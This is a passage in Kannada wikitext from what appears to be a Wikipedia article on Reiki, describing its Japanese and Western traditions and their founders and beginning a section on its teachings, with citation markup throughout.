ದೇಹ ಹಾಗು ಮನಸ್ಸಿನ ಸುಧಾರಣೆಗಾಗಿ.<br> ಉಸುಯಿ ರೇಖಿ ರಯೋಹೋ. ಸ್ಥಾಪಕ,<br> ಮಿಕಾವೋ ಉಸುಯಿ. {{Col-end}} {{Col-begin}} {{col-break}} == ಸಂಪ್ರದಾಯಗಳು == ಇಂದು ರೇಖಿಯಲ್ಲಿ ಹಲವಾರು ಶಾಖೆಗಳಿವೆ, ಆದಾಗ್ಯೂ ಎರಡು ಪ್ರಮುಖ ಸಂಪ್ರದಾಯಗಳು ಅಸ್ತಿತ್ವದಲ್ಲಿವೆ, ಇವುಗಳನ್ನು ಕ್ರಮವಾಗಿ ''ಸಾಂಪ್ರದಾಯಿಕ ಜಪಾನೀಸ್ ರೇಖಿ'' ಹಾಗು ''ಪಾಶ್ಚಿಮಾತ್ಯ ರೇಖಿ'' ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. === ಸಾಂಪ್ರದಾಯಿಕ ಜಪಾನೀಸ್ ರೇಖಿ === [[File:Reiki.svg|thumb|100px|ಶಿಂಜಿತೈ ಜಪಾನೀಸ್ ನಲ್ಲಿ ಬರೆಯಲಾದ ರೇಖಿ]] ''ಸಾಂಪ್ರದಾಯಿಕ ಜಪಾನೀಸ್ ರೇಖಿ'' ಯನ್ನು ಸಾಧಾರಣವಾಗಿ ಉಸುಯಿಯವರ ಮೂಲ ಬೋಧನೆಗಳಿಂದ ಜನ್ಯವಾದ ನಿರ್ದಿಷ್ಟ ಪದ್ಧತಿಯನ್ನು ವಿವರಿಸಲು ಬಳಸಲಾಗುತ್ತದೆ<ref>{{cite book |title=Essential Reiki: A Complete Guide to an Ancient Healing Art |last=Stein |first=Diane |authorlink=Diane Stein |year=1998 |publisher=Crossing Press |location=Australia |isbn=೦೮೯೫೯೪೭೩೬೬ |page= |pages=}}</ref> ಹಾಗು ಈ ಬೋಧನೆಗಳು ಜಪಾನಿಗೆ ಮಾತ್ರ ಸೀಮಿತವಾಗಿದೆ. ೧೯೯೦ರ ಸುಮಾರಿಗೆ, ಪಾಶ್ಚಿಮಾತ್ಯ ಬೋಧಕರು ರೇಖಿಯ ಈ ನಿರ್ದಿಷ್ಟ ಸಂಪ್ರದಾಯವನ್ನು ಕಲಿಯಲು ಜಪಾನಿಗೆ ಪ್ರಯಾಣಿಸಿದರಾದರೂ, ಅದರಿಂದ ಏನೂ ಪ್ರಯೋಜನವಾಗಲಿಲ್ಲ. ಹೀಗಾಗಿ ಅವರುಗಳು ರೇಖಿ ಶಾಲೆಗಳನ್ನು ತೆರೆಯಲು ಆರಂಭಿಸಿದರು, ಜೊತೆಗೆ ಜಪಾನಿಯರಿಗೆ ರೇಖಿಯ ಒಂದು ಹಾಗು ಎರಡನೇ ಹಂತವನ್ನು ಕಲಿಸಲು ಆರಂಭಿಸಿದರು. ೧೯೯೩ರ ಸುಮಾರಿಗೆ, ಜರ್ಮನಿಯ ರೇಖಿ ತಜ್ಞ, ಫ್ರ್ಯಾಂಕ್ ಅರ್ಜಾವ ಪೆಟ್ಟರ್, ಬೋಧಕ/ಶಿಕ್ಷಕ ಹಂತ, ಹಾಗು ಇದರ ಪರಿಣಾಮವಾಗಿ, ಜಪಾನಿಯರು ಸಾಂಪ್ರದಾಯಿಕ ರೇಖಿಯ ಬಗೆಗಿರುವ ತಮ್ಮ ಜ್ಞಾನವನ್ನು ಬೋಧಿಸಲು ಆರಂಭಿಸಿದರು. ಅಲ್ಲಿಂದೀಚೆಗೆ, ಸಾಂಪ್ರದಾಯಿಕ ಜಪಾನೀಸ್ ರೇಖಿಯ ಹಲವಾರು ಸಂಪ್ರದಾಯಗಳು ಹುಟ್ಟಿಕೊಂಡಿವೆ, ಪ್ರಮುಖ ಸಂಪ್ರದಾಯಗಳನ್ನು ಕೆಳಕಂಡಂತೆ ಪಟ್ಟಿ ಮಾಡಲಾಗಿದೆ.<ref name="ReikiMaster.com">{{cite web |url=http://www.master-reiki.com/ |title=Master Reiki - Become a Reiki Master |author=Master-Reiki.com |year=2009 |accessdate=April 27, 2010}}</ref> * '''ಉಸುಯಿ ರೇಖಿ ರಯೋಹೋ ಗಕ್ಕೈ''' (臼井靈氣療法學會 ಸಾಂಪ್ರದಾಯಿಕ ಮ್ಯಾಂಡರಿನ್ ನಲ್ಲಿ, ಇದು "ಉಸುಯಿ ರೇಖಿ ಚಿಕಿತ್ಸಾ ವಿಧಾನದ ಕಲಿಕಾ ಕೇಂದ್ರ")<ref name="JDGakkai">{{Cite web |url=http://www.aetw.org/reiki_gakkai.html |title=Usui Reiki Ryoho Gakkai |author=James Deacon |year=2003 |work=http://www.aetw.org/ |accessdate=5 June 2010}}</ref> ಎಂಬುದು ಮಿಕಾವೋ ಉಸುಯಿಯವರಿಂದ ಸ್ಥಾಪಿತವಾದ ರೇಖಿ ತಜ್ಞರ ಸಂಸ್ಥೆ. ಅವರ ಶೈಲಿಯು ಇಂದಿನವರೆಗೂ ಅಸ್ತಿತ್ವದಲ್ಲಿದೆ ಎಂದು ಭಾವಿಸಲಾಗುತ್ತದೆ(ಇಂದಿನ ದಿನಗಳಲ್ಲಿ ಗಕ್ಕೈ ಪದ್ಧತಿಯನ್ನು ಹೇಗೆ ಅಭ್ಯಾಸ ಮಾಡಲಾಗುತ್ತದೆಂದು ಯಾರೊಬ್ಬರಿಗೂ ನಿರ್ದಿಷ್ಟವಾಗಿ ತಿಳಿದಿಲ್ಲವೆಂದು ಹೇಳಲಾಗುತ್ತದೆ), ಜೊತೆಗೆ ಇವರ ನಿಧನದ ನಂತರ ಸಮಿತಿಯ ಅಧ್ಯಕ್ಷತೆಯನ್ನು ಉಷಿಡ ವಹಿಸಿಕೊಂಡರು. ಈ ಕೇಂದ್ರವು ಹಲವಾರು ವರ್ಷಗಳ ಕಾಲ ತೆರೆಮರೆಯಲ್ಲಿ ಉಳಿಯಿತು ಹಾಗು ಇಂದು,''ಶಿಹನ್'' (ತಜ್ಞ), ಮಸಾಕಿ ಕೊಂಡೊಹ್, ಗಕ್ಕೈನ ಅಧ್ಯಕ್ಷರಾಗಿದ್ದಾರೆ. ಅವರ ಹಲವಾರು ಬೋಧನೆಗಳು ಗೋಪ್ಯವಾಗಿ ಉಳಿದರೂ ಸಹ, ಈ ಸಮಿತಿಯ ಸದಸ್ಯರು-ಉದಾಹರಣೆಗೆ ತಜ್ಞ ಹಿರೋಷಿ ದೋಯಿ-ತಮ್ಮ ಜ್ಞಾನವನ್ನು ಸ್ವಲ್ಪ ಸ್ವಲ್ಪವೇ ಉಳಿದ ಜಗತ್ತಿನೊಂದಿಗೆ ಹಂಚಿಕೊಳ್ಳುತ್ತಿದ್ದಾರೆ. ಇವೆಲ್ಲದರ ಹೊರತಾಗಿಯೂ, ಇದೊಂದು ಗುಪ್ತಜ್ಞಾನದ ಸಮಿತಿಯಾಗಿ ಮುಂದುವರೆದಿದೆ, ಬಹುತೇಕವಾಗಿ ಇದಕ್ಕೆ ಪ್ರವೇಶ ದೊರಕಿಸಿಕೊಳ್ಳುವುದು ಅಸಾಧ್ಯ. * '''ರೆಯಿಡೊ ರೇಖಿ ಗಕ್ಕೈ''' (靈道靈氣學會, ಅರ್ಥ "ಆಧ್ಯಾತ್ಮಿಕ ಘಟನೆ ''[ಹಾಗು]'' ಆಧ್ಯಾತ್ಮಿಕ ಶಕ್ತಿ ಕೇಂದ್ರ") ಎಂಬುದು ರಯೋಹೋ ಗಕ್ಕೈನ ತಜ್ಞರಿಂದ ಜನ್ಯವಾದ ಪದ್ಧತಿಗೆ ನೀಡಲಾದ ಹೆಸರು, ಹಾಗು ಇದನ್ನು ಫುಮಿನೋರಿ ಅಒಕಿ ಮುನ್ನಡೆಸುತ್ತಾರೆ, ಇವರು ಗಕ್ಕೈನ ಬೋಧನೆಗೆ ಮತ್ತಷ್ಟು ಅಂಶಗಳನ್ನು ಸೇರಿಸಿದರು, ಆದಾಗ್ಯೂ ಬೋಧನೆಯಲ್ಲಿ ಸ್ವಲ್ಪಮಟ್ಟಿಗಿನ ವ್ಯತ್ಯಾಸಗಳು ಕಂಡುಬರುತ್ತವೆ. ಈ ಪದ್ಧತಿಯಲ್ಲಿ, ಫುಮಿನೋರಿ ಅಒಕಿ ಅವರನ್ನು ಉತ್ತೇಜಿಸಿದ ಕೊರಿಕಿ(ಅರ್ಥ-"ಸಂತೋಷದ ಶಕ್ತಿ") ಸಂಕೇತವನ್ನು ಅಳವಡಿಸಿಕೊಳ್ಳಲಾಗಿದೆ.<ref>{{Cite web |url=http://usuarios.multimania.es/tomaqui/KORIKI%20-%20Un%20primer%20simbolo.htm |title=KORIKI - Un primer símbolo |author=Tomaqui |language=Spanish |trans_title=Koriki - The First Symbol |accessdate=28 February 2010 |archive-date=10 ಮಾರ್ಚ್ 2012 |archive-url=https://web.archive.org/web/20120310072700/http://usuarios.multimania.es/tomaqui/KORIKI |url-status=dead }}</ref><ref>{{Cite web |url=http://www.aetw.org/reiki_reido.html |title=Reido Reiki |author=James Deacon |publisher=http://www.aetw.org/ |accessdate=5 June 2010}}</ref> * '''ಕೊಮ್ಯೋ ರೇಖಿ ಕೈ''' (光明レイキ會, ಅರ್ಥ "ವಿಮುಕ್ತಗೊಂಡ ಆಧ್ಯಾತ್ಮಿಕ ಶಕ್ತಿ ಸಮೂಹ(ಸಮಿತಿ)") ಜಪಾನೀಸ್ ಸಾಂಪ್ರದಾಯಿಕ ರೇಖಿ ಶಾಲೆಯ ಹೆಸರನ್ನು ಈ ಪದ್ಧತಿಗೆ ನೀಡಲಾಗಿದೆ, ಹಾಗು ಇದನ್ನು ಪಾಶ್ಚಿಮಾತ್ಯ ರೇಖಿ ಪದ್ಧತಿಯ ಹಿನ್ನೆಲೆಯನ್ನು ಹೊಂದಿದ್ದ ರೇಖಿ ಶಿಕ್ಷಕ ಹ್ಯಾಕುಟೆನ್ ಇನಮೋಟೋ ಸ್ಥಾಪನೆ ಮಾಡಿದರು. ಇದು ಗಕ್ಕೈನಿಂದ ಜನ್ಯವಾಗದ ಕಾರಣ ಇತರ ಪದ್ಧತಿಗಳಿಗಿಂತ ಭಿನ್ನವಾಗಿದೆ, ಆದರೆ ಇದು ಜಪಾನಿನಲ್ಲಿ ಅಸ್ತಿತ್ವದಲ್ಲಿದ್ದ ಚಿಯೋಕೋ ಯಮಗುಚಿ(山口　千代子) ಮೂಲಕ ಹಯಾಶಿ ಕ್ರಮದಿಂದ ಬೆಳಕಿಗೆ ಬಂದಿತು. * '''ಜಿಕಿಡೆನ್ ರೇಖಿ''' (直傳靈氣, ಅರ್ಥ "ಆಧ್ಯಾತ್ಮಿಕ ಶಕ್ತಿ''[ಯ]'' ನೇರ ಬೋಧನೆ") ಎಂಬ ಹೆಸರನ್ನು ಡಾ. ಹಯಾಶಿಯಿಂದ ಬೋಧಿಸಲ್ಪಟ್ಟ ಮೂಲ ಪದ್ಧತಿಗೆ ನೀಡಲಾಗಿದೆ, ಹಾಗು ಇದನ್ನು ಶ್ರೀಮತಿ.ಯಮಗುಚಿ ಹಾಗು ಅವರ ಪುತ್ರ, ತದಾವೋ ಯಮಗುಚಿ(山口 忠夫) ಸ್ಥಾಪಿಸಿದರು.<ref>{{Cite web |url=http://www.jikidenreiki.co.uk/83/0/tooltip1.htm |title=Jikiden Reiki History |3=Chiyoko Yamaguchi |4=Tadao Yamaguchi |author=Tadao Yamaguchi |work=http://www.jikidenreiki.co.uk/ |accessdate=5 June 2010 |archive-date=30 ಡಿಸೆಂಬರ್ 2016 |archive-url=https://web.archive.org/web/20161230230604/http://www.jikidenreiki.co.uk/83/0/tooltip1.htm |url-status=dead }}</ref> ''ಉಸುಯಿ ರೇಖಿ ರಯೋಹೋ ಹಿಕ್ಕೆಯಿ'' ನಲ್ಲಿ(臼井靈氣療法必携,''ಉಸುಯಿ ರೇಖಿ ಚಿಕಿತ್ಸಾ ಕೈಪಿಡಿ'' )ನೀಡಲಾದ, ಉಸುಯಿಯವರು ಬಳಸುವುದರ ಜೊತೆಗೆ ಅವರು ಸಂಕಲಿಸಿದ ಜಪಾನೀಸ್ ರೇಖಿ ಕೈಗಳ ಭಂಗಿಗಳ ಬಳಕೆಯು ಪಾಶ್ಚಿಮಾತ್ಯ ರೇಖಿಯಲ್ಲಿ ಬಳಸಲಾಗುವ ಕೈಗಳ ಭಂಗಿಗಳಿಗಿಂತ ಹೆಚ್ಚು ವ್ಯಾಪಕ ಬಳಕೆಯಲ್ಲಿದೆ.<ref>{{cite book |title=The Original Reiki Handbook of Dr. Mikao Usui: The Traditional Usui Reiki Ryōhō Treatment Positions and Numerous Reiki Techniques for Health and Well-being |last=Usui |first=Dr. Mikao |coauthors=Frank Arjava Petter |date= 31 |month=March |year=2000 |publisher=Lotus Press |isbn=0914955578 |page=7}}</ref> === ಪಾಶ್ಚಿಮಾತ್ಯ ರೇಖಿ === ಪಾಶ್ಚಿಮಾತ್ಯ ರೇಖಿ (西洋レイキ,''ಸೇಯಿಯೋ ರೇಖಿ'' ) ಪದ್ಧತಿಯು ಹವಾಯೋ ತಕಾತರ ಪದ್ಧತಿಯೆಂದು ಭಾವಿಸಬಹುದು.<ref name="TakataWest">{{cite book |last1=Streich |first1=Marianne |last2=William |first2=Rand L. |title=How Hawayo Takata Practised and Taught Reiki |url=http://www.centerforreikiresearch.org/Downloads/TakataArticle.pdf |accessdate=27 April 2010 |year=2007 |month=Spring |publisher=Reiki News Magazine |page=1 |quote=All Western Reiki practitioners have a lineage going back through Mrs. Takata. It was she who brought Reiki to the west. |archive-date=25 ಜುಲೈ 2011 |archive-url=https://web.archive.org/web/20110725151957/http://www.centerforreikiresearch.org/Downloads/TakataArticle.pdf |url-status=dead }}</ref> ಸಂಪ್ರದಾಯಗಳ ನಡುವೆ ಇರುವ ಪ್ರಮುಖ ವ್ಯತ್ಯಾಸವೆಂದರೆ, ''ರೆಯಿಜಿ-ಹೋ'' ಗೆ ಬದಲಾಗಿ ಆಂತರಿಕ ಚಿಕಿತ್ಸೆಗಳಿಗೆ ಬಳಸಲಾಗುವ ಕೈಯಿನ ಬಳಕೆ, ಇದು "ಕೈಯನ್ನು ಎಲ್ಲಿ ಇರಿಸಬೇಕೆಂಬುದನ್ನು ಅರಿತಿರುವ ಅಂತರ್ಬೋಧೆಯಿಂದ ಗ್ರಹಿಸಲಾದ ಕೌಶಲ."<ref name="ReikiMaster.com" /> ಈ ರೇಖಿ ಪದ್ಧತಿಯು ಅಸ್ವಸ್ಥತೆಯ ಶಮನಕ್ಕೆ ಹೆಚ್ಚು ಒತ್ತು ನೀಡಿತು, ಜೊತೆಗೆ ಉನ್ನತ ಮಟ್ಟದ ಅನುಷ್ಠಾನಗಳನ್ನು ಹೆಚ್ಚು ವಿಧ್ಯುಕ್ತಗೊಳಿಸಲಾಗಿದೆ.<ref name="ReikiMaster.com" /> ಹಯಾಶಿಯವರಿಂದ ತರಬೇತಿಯನ್ನು ಪಡೆದ ನಂತರ, ತಕಾತ ತಮ್ಮೊಂದಿಗೆ ರೇಖಿ ಪದ್ಧತಿಯನ್ನು [[ಹವಾಯಿ|ಹವಾಯಿಗೆ]] ಕೊಂಡೊಯ್ಯುತ್ತಾರೆ. ಅಲ್ಲಿ ಚಿಕಿತ್ಸಾಲಯಗಳನ್ನು ಸ್ಥಾಪಿಸಿದ ನಂತರವಷ್ಟೇ, ರೇಖಿಯು ಉಳಿದ ಪಾಶ್ಚಿಮಾತ್ಯದ ದೇಶಗಳಲ್ಲಿ ಜನಪ್ರಿಯವಾಯಿತು. [[ಎರಡನೇ ಮಹಾಯುದ್ಧ|ಎರಡನೇ ವಿಶ್ವ ಸಮರ]]ದ ಪರಿಣಾಮವಾಗಿ, ತಕಾತ, ಸಾಂಪ್ರದಾಯಿಕ ಜಪಾನೀಸ್ ರೇಖಿ ಪದ್ಧತಿಯನ್ನು ಹೆಚ್ಚು ಗ್ರಾಹ್ಯವಾಗಿ ಹಾಗು ಪಾಶ್ಚಿಮಾತ್ಯ ಮನೋಧರ್ಮಕ್ಕೆ ನಂಬಿಕೆ ಹುಟ್ಟಿಸುವ ಸಲುವಾಗಿ ಅದನ್ನು ಮಾರ್ಪಡಿಸಲು ನಿರ್ಧರಿಸಿದರು. * '''ಉಸುಯಿ ರೇಖಿ ಶಿಕಿ ರಯೋಹೋ''' (臼井靈氣式療法, ಸಾಮಾನ್ಯವಾಗಿ "ಉಸುಯಿಯವರ ಆಧ್ಯಾತ್ಮಿಕ ಶಕ್ತಿ ಶೈಲಿ ಚಿಕಿತ್ಸೆ" ಎಂಬ ಅರ್ಥ ಬರುವಂತೆ ತರ್ಜುಮೆ ಮಾಡಲಾಗುತ್ತದೆ, ಆದರೆ ಪದಶಃ ತರ್ಜುಮೆಯೆಂದರೆ "ಉಸುಯಿಯವರ ಆಧ್ಯಾತ್ಮಿಕ ಶಕ್ತಿ ಶೈಲಿ ವೈದ್ಯಕೀಯ ಚಿಕಿತ್ಸೆ" (ರಯೋಹೋ (療法) ಅರ್ಥ''ವೈದ್ಯಕೀಯ ಚಿಕಿತ್ಸೆ'' ))ಎಂಬ ಹೆಸರನ್ನು ರೇಖಿಯ ಪಾಶ್ಚಿಮಾತ್ಯ ಶೈಲಿಗೆ ಕರೆಯಲಾಗುತ್ತದೆ, ಹಾಗು ಈ ಪದ್ಧತಿಯು ಹವಾಯೋ ತಕಾತರ ಮೂಲ ಪದ್ಧತಿಗಳಿಗೆ ಹೆಚ್ಚು ಕಡಿಮೆ ಸಮಾನವಾಗಿದೆ. ಉದಾಹರಣೆಗೆ, ತಕಾತರ ಮೊಮ್ಮಗಳು ಫಿಲ್ಲಿಸ್ ಲೇಯಿ ಫುರುಮೋಟೋ ಮುನ್ನಡೆಸುವ ರೇಖಿ ಅಲಾಯನ್ಸ್ ಸಂಸ್ಥೆಯು ಈ ಪದ್ಧತಿಯ ತರಬೇತಿ ನೀಡುತ್ತದೆ.<ref>{{cite web |url=http://www.reikialliance.com/the-reiki-alliance |title=What is the Reiki Alliance? |author=The Reiki Alliance |year=2006 |accessdate=5 May 2010}}</ref> ಈ ಪದ್ಧತಿಯಲ್ಲಿ, ಹೆಚ್ಚಿನ ಪಾಶ್ಚಿಮಾತ್ಯ ಶೈಲಿಯ ರೇಖಿಗಳ ಮಾದರಿ, ಮೂರು ತರಬೇತಿ ಹಂತಗಳಿವೆ, ಇದನ್ನು ಕ್ರಮವಾಗಿ ಮೊದಲ ಹಂತ, ಎರಡನೇ ಹಂತ, ಹಾಗು ಬೋಧಕ/ಶಿಕ್ಷಕ ಹಂತವೆಂದು ಕರೆಯಲಾಗುತ್ತದೆ, ಇದು ತಕಾತರ ನಾಲ್ಕು ಮೂಲ ಸಂಕೇತಗಳ ರೂಪಾಂತರಗಳನ್ನು ಬಳಸುತ್ತದೆ, ಈ ಸಂಕೇತಗಳನ್ನು ಹಯಾಶಿ ತಕಾತರಿಗೆ ವರ್ಗಾವಣೆ ಮಾಡಿದ್ದರು. ಉಸುಯಿ ರೇಖಿ ಶಿಕಿ ರಯೋಹೋ,[[ಯುನೈಟೆಡ್ ಕಿಂಗ್‍ಡಮ್|ಯುನೈಟೆಡ್ ಕಿಂಗ್ಡಂ]]ನಲ್ಲಿ ಸಾರ್ವಜನಿಕವಾಗಿ ರೇಖಿ ವೃತ್ತಿಯನ್ನು ಸಾಂಪ್ರದಾಯಿಕ ಮಾದರಿಯಲ್ಲಿ ನಡೆಸಲು ಕೋರುವ ಪರವಾನಗಿಗೆ ಅರ್ಹವೂ ಸಹ ಆಗಿದೆ(ರೇಖಿ ಪರಂಪರೆಯ ಜೊತೆಯಲ್ಲಿ).<ref>{{cite web |url=http://www.ctha.com/Quals/?QC=16 |title=Complementary Therapists Association - Accepted Qualifications - Reiki |author=Complementary Therapists Association |accessdate=15 April 2010}}</ref> * '''ಉಸುಯಿ/ಟಿಬೇಟಿಯನ್ ರೇಖಿ''' ಎಂಬುದು ಆರ್ಥರ್ ರಾಬರ್ಟ್ಸನ್ ಅಭಿವೃದ್ಧಿಪಡಿಸಿದ ಹಾಗು ನಂತರದಲ್ಲಿ ವಿಲ್ಲಿಯಮ್ ಲೀ ರಾಂಡ್ ಹಾಗಿ ಡಿಯಾನೆ ಸ್ಟೆಯಿನ್ ಜನಪ್ರಿಯಗೊಳಿಸಿದ ಪದ್ಧತಿಗೆ ನೀಡಲಾದ ಹೆಸರು.<ref name="TibetanReikiIntFedWales">{{cite web |url=http://www.reiki-federation.co.uk/glossary.asp |title=Explanation of Reiki |author=International Reiki Federation |accessdate=5 May 2010}}</ref><ref>{{cite web |url=http://angelreiki.nu/level3/tibetan.htm |title=Usui Tibetan Reiki - Introduction |author=Vincent Amador |accessdate=26 July 2010 |archive-date=14 ಏಪ್ರಿಲ್ 2002 |archive-url=https://web.archive.org/web/20020414093724/http://angelreiki.nu/level3/tibetan.htm |url-status=bot: unknown }}</ref> ಈ ಪದ್ಧತಿಯು, ತಕಾತ ಅವರು ಬೋಧಿಸಿದ ಉಸುಯಿಯವರ ರೇಖಿ ಪದ್ಧತಿಯಿಂದ ಜನ್ಯವಾಗಿದೆ ಜೊತೆಗೆ ಇದು ಉಸುಯಿ ರೇಖಿ ರಯೋಹೋ ಗಕ್ಕೈನ ವಿಧಾನಗಳನ್ನು ಒಳಗೊಂಡಿದೆ, ಉದಾಹರಣೆಗೆ ಬ್ಯೋಸೇನ್-ಹೋ(病専法, ''ಸ್ಕ್ಯಾನಿಂಗ್ ವಿಧಾನ'' ),''ಗ್ಯೋಷಿ-ಹೋ'' (凝視法, ''ಕಣ್ಣುಗಳ ಮೂಲಕ ಚಿಕಿತ್ಸೆ ನೀಡುವ ವಿಧಾನ'' ), ಹಾಗು ''ಕೆನ್ಯೋಕು-ಹೋ'' (件抑制法, ''ನಿರಾರ್ದ್ರ ಜಳಕ ವಿಧಾನ'' ) ರಾಂಡ್, ಉಸುಯಿ ಶಿಕಿ ರಯೋಹೋಗೆ ಹೋಲಿಸಿದರೆ ಈ ಪದ್ಧತಿಗೆ ಕೆಲವೊಂದು ಸೇರ್ಪಡೆಗಳನ್ನು ಮಾಡಿದ್ದಾರೆ, ಉದಾಹರಣೆಗೆ ವೈಲೆಟ್ ಬ್ರೀಥ್ ನ್ನು ಒಳಗೊಳ್ಳುವ ಅನುಷ್ಠಾನ ವಿಧಾನದ ಮಾರ್ಪಾಡು,<ref name="TibetanReikiIntFedWales" /> ಟಿಬೇಟಿಯನ್ ಮಾಸ್ಟರ್ ಹಾಗು [[ಕುಂಡಲಿನಿ]] ಅಗ್ನಿ ಸಂಕೇತಗಳ ಜೊತೆಯಲ್ಲಿ ನಾಲ್ಕು ಸಾಂಪ್ರದಾಯಿಕ ಉಸುಯಿ ಸಂಕೇತಗಳ ಬಳಕೆ, ಹುಯಿ ಯಿನ್ ನ ಸ್ಥಾನ(ಮೂಲಾಧಾರದಲ್ಲಿ ಸ್ಥಿತವಾಗಿರುತ್ತದೆ), ಹಾಗು ಪಿಂಡಾನ್ಡ ಪಥ.<ref name="TibetanReikiIntFedWales" /> ಮೇಲೆ ನೀಡಲಾದ ಮಾರ್ಪಾಡುಗಳನ್ನು ಪರಿಚಯಿಸುವುದರ ಜೊತೆಗೆ, ಉಸುಯಿ/ಟಿಬೇಟಿಯನ್ ರೇಖಿ ಕೆಲವೊಂದು ಬಾರಿ ಪಾರಭೌತಿಕ ಶಸ್ತ್ರಚಿಕಿತ್ಸೆಯನ್ನು ಒಳಗೊಳ್ಳುತ್ತದೆ. ಉಸುಯಿ ರೇಖಿ ಶಿಕಿ ರಯೋಹೋಗಿಂತ ಭಿನ್ನವಾಗಿ, ಈ ಪದ್ಧತಿಯು ನಾಲ್ಕು ಹಂತಗಳನ್ನು ಒಳಗೊಂಡಿದೆ, ಇವುಗಳನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ಮೊದಲ ಪದವಿ ಹಂತ, ಎರಡನೇ ಪದವಿ ಹಂತ, ಉನ್ನತ ರೇಖಿ ತರಬೇತಿ(ಸಾಮಾನ್ಯವಾಗಿ ಇದನ್ನು ''೩A'' ಅಥವಾ ''ART'' ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ), ಹಾಗು ತಜ್ಞ/ಶಿಕ್ಷಕ ಹಂತದ ಪದವಿ (ಇದನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ''೩B'' ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ).<ref name="TibetanReikiIntFedWales" /> * '''ಗೆನ್ಡೈ ರೇಖಿ ಹೋ''' (現代靈氣法, ಅರ್ಥ "ಆಧುನಿಕ ಆಧ್ಯಾತ್ಮಿಕ ಶಕ್ತಿ ವಿಧಾನ") ಪದ್ಧತಿಯು ಜಪಾನೀಸ್ ಹಾಗು ಪಾಶ್ಚಿಮಾತ್ಯ ರೇಖಿ ಎರಡೂ ಅಂಶಗಳನ್ನು ಒಳಗೊಂಡಿವೆ,<ref name="EverythingReiki_Phylameana">{{Cite book |last=Lila Desy |first=Phylameana |title= The Everything Reiki Book: Channel Your Positive Energy to Reduce Stress (Everything (New Age)) |publisher=Adams Media Corporation |year=2004 |month=1 March |isbn=159337030X |page=232}}</ref> ಹಾಗು ಇದನ್ನು ಹಿರೋಷಿ ದೊಯಿ ಸ್ಥಾಪಿಸಿದರು.<ref name="EverythingReiki_Phylameana" /> ದೊಯಿ, ಮೊದಲು ಮಿಯೇಕೋ ಮಿತ್ಸುಯಿ ಅವರಿಂದ ಪಾಶ್ಚಿಮಾತ್ಯ ಶೈಲಿಯಲ್ಲಿ ತರಬೇತಿ ಪಡೆದರು, ಮಿಯೇಕೋ "ಕಾಂತಿ ವಿಧಾನದ" ಒಬ್ಬ ತಜ್ಞರಾಗಿದ್ದರು.<ref name="ReikiThreshold">{{Cite web |url=http://www.threshold.ca/reiki/Gendai.html |title=What is Gendai Reiki Ho? |author=Richard R. Rivard |date=23 October 2009 |work=The Reiki Threshold (http://www.threshold.ca/reiki/, direct link to source: http://www.threshold.ca/reiki/Gendai.html) |quote=See section entitled ''Mr. Doi's Reiki Training'' |accessdate=11 June 2010}}</ref> ೧೯೯೩ರಲ್ಲಿ, ಇವರಿಗೆ ಉಸುಯಿ ರೇಖಿ ರಯೋಹೋ ಗಕ್ಕೈನಲ್ಲಿ ಸದಸ್ಯತ್ವವನ್ನು ನೀಡಲಾಯಿತು.<ref name="ReikiThreshold" /> ==ಬೋಧನೆಗಳು == ರೇಖಿ ಬೋಧನೆಗಳು, ರೇಖಿ ಅಪರಿಮಿತವೆಂದು ಸಮರ್ಥಿಸುತ್ತವೆ<ref>ರೇಖಿ ಅಪರಿಮಿತವಾದುದು. ಮ್ಯಾಕ್ಕೆಂಜಿ (೧೯೯೮). ಪುಟ ೧೮; ಬೋರಾಂಗ್ (೧೯೯೭). ಪುಟ ೯</ref><ref>ರೇಖಿ ಸಾರ್ವತ್ರಿಕ ಜೀವನ ಶಕ್ತಿ: ಲೂಬೆಕ್, ಪೆಟ್ಟರ್, ಹಾಗು ರಾಂಡ್ (೨೦೦೧). ಪುಟ ೬೨; ಮ್ಯಾಕ್ಕೆಂಜಿ (೧೯೯೮). ಪುಟ ೧೮; ಎಲ್ಲ್ಯರ್ಡ್ (೨೦೦೪). ಪುಟ ೭೫; ಲೂಬೆಕ್(೧೯೯೪). ಪುಟ ೧೩; ಬೋರಂಗ್ (೧೯೯೭). ಪುಟ ೮</ref> ಹಾಗು ಇದರಿಂದ ಪರಿಣಾಮಕಾರಿಯಾಗಿ ರೋಗವನ್ನು ಗುಣಪಡಿಸಬಹುದು.<ref name="for healing">ಮ್ಯಾಕ್ಕೆಂಜಿ (೧೯೯೮). ಪುಟ ೧೮; ಲೂಬೆಕ್, ಪೆಟ್ಟರ್, ಹಾಗು ರಾಂಡ್(೨೦೦೧). ಪುಟಗಳು ೧೪ ಹಾಗು ೬೮; ವೆಲ್ಥಿಯಂ ಹಾಗು ವೆಲ್ಥಿಯಂ (೧೯೯೫). ಪುಟ ೩೦; ಎಲ್ಲ್ಯರ್ಡ್(೨೦೦೪). ಪುಟ ೨೭</ref> ಈ ವೃತ್ತಿಯನ್ನು ನಡೆಸುವವರು, ಒಬ್ಬ ರೇಖಿ ತಜ್ಞರು ನಡೆಸುವ ''ಅನುಷ್ಠಾನ'' ಪ್ರಕ್ರಿಯೆಯ<ref>ಗಮನಿಸಿ: ರೇಖಿಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ''ಅನುಷ್ಠಾನ'' ಹಾಗು "ಪ್ರವರ್ತನ" ಎಂಬ ಪದಗಳನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ಅದಲು ಬದಲಾಗಿ ಬಳಸಲಾಗುತ್ತದೆ. ಸೂಚಿಸಲಾದ ಪ್ರಾಶಸ್ತ್ಯದಲ್ಲಿ ರೇಖಿ ಶಕ್ತಿಗೆ ಸುಲಭಗಮ್ಯವನ್ನು ತಲುಪುವಾಗ ಬಳಕೆಯಾಗುವ ''ಅನುಷ್ಠಾನ'' ಹಾಗು ವೈಯಕ್ತಿಕ(ಅಥವಾ ಆಧ್ಯಾತ್ಮಿಕ) ಬೆಳವಣಿಗೆಯ ಅಂಶವನ್ನು ಚರ್ಚಿಸುವಾಗ "ಪ್ರವರ್ತನ" ಪದಗಳಿಗೆ ಸಾಂಧರ್ಭಿಕವಾಗಿ, ಸ್ವಲ್ಪ ಮಟ್ಟಿಗಿನ ಅಂತರವಿದೆ. ಈ ಎರಡೂ ಅಂಶಗಳು ಸದೃಶವಾದ ದೈಹಿಕ ವಿಧಾನಕ್ಕೆ ಸಂಬಂಧಿಸಿದೆ.</ref> ಮೂಲಕ ಈ 